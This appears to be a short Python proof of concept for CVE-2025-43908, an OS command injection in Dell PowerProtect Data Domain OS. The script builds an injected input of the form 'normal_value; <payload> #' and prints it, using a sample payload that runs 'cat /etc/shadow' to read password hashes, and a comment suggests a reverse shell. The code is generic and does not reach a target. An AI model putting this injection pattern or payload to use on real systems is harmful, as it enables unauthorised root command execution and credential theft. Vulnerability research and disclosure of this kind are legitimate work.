CVE-2025-43908

# CVE-2025-43908 - Dell PowerProtect Data Domain OS Command Injection PoC # Vulnerability: Improper Neutralization of Special Elements used in an OS Command (CWE-78) # Affected: DD OS Feature Release 7.7.1.0 - 8.3.0.15, LTS2025 8.3.1.0, # LTS2024 7.13.1.0 - 7.13.1.30, LTS2023 7.10.1.0 - 7.10.1.60 # Prerequisites: Local access with high-privileged account import subprocess import sys def exploit_dd_os_command_injection(target_cmd_injection_point, payload): """ Exploit OS Command Injection in Dell PowerProtect Data Domain DD OS. The vulnerability exists due to improper sanitization of special characters in OS commands passed through certain DD OS CLI interfaces or APIs. """ # Example: Injecting commands via DD OS CLI parameters that are passed to shell # The vulnerable input fields may include configuration parameters, # file path inputs, or administrative command arguments # Malicious payload to execute arbitrary command as root # Using command substitution techniques to break out of intended command context malicious_input = f'normal_value; {payload} #' print(f"[*] Targeting DD OS command injection point: {target_cmd_injection_point}") print(f"[*] Injecting payload: {payload}") print(f"[*] Full malicious input: {malicious_input}") # In a real scenario, this would interact with the DD OS CLI or API # For demonstration purposes, showing the injection pattern: # dd-system command --option "<INJECTION_POINT>" # Becomes: dd-system command --option "normal_value; <PAYLOAD> #" return malicious_input if __name__ == "__main__": # Example payload: Create a reverse shell or execute arbitrary command payload = "id && whoami && cat /etc/shadow" # Target the vulnerable input point in DD OS result = exploit_dd_os_command_injection( target_cmd_injection_point="DD OS CLI parameter", payload=payload ) print(f"\n[!] Command injection payload constructed successfully") print(f"[!] When executed on vulnerable DD OS, this will run with root privileges")

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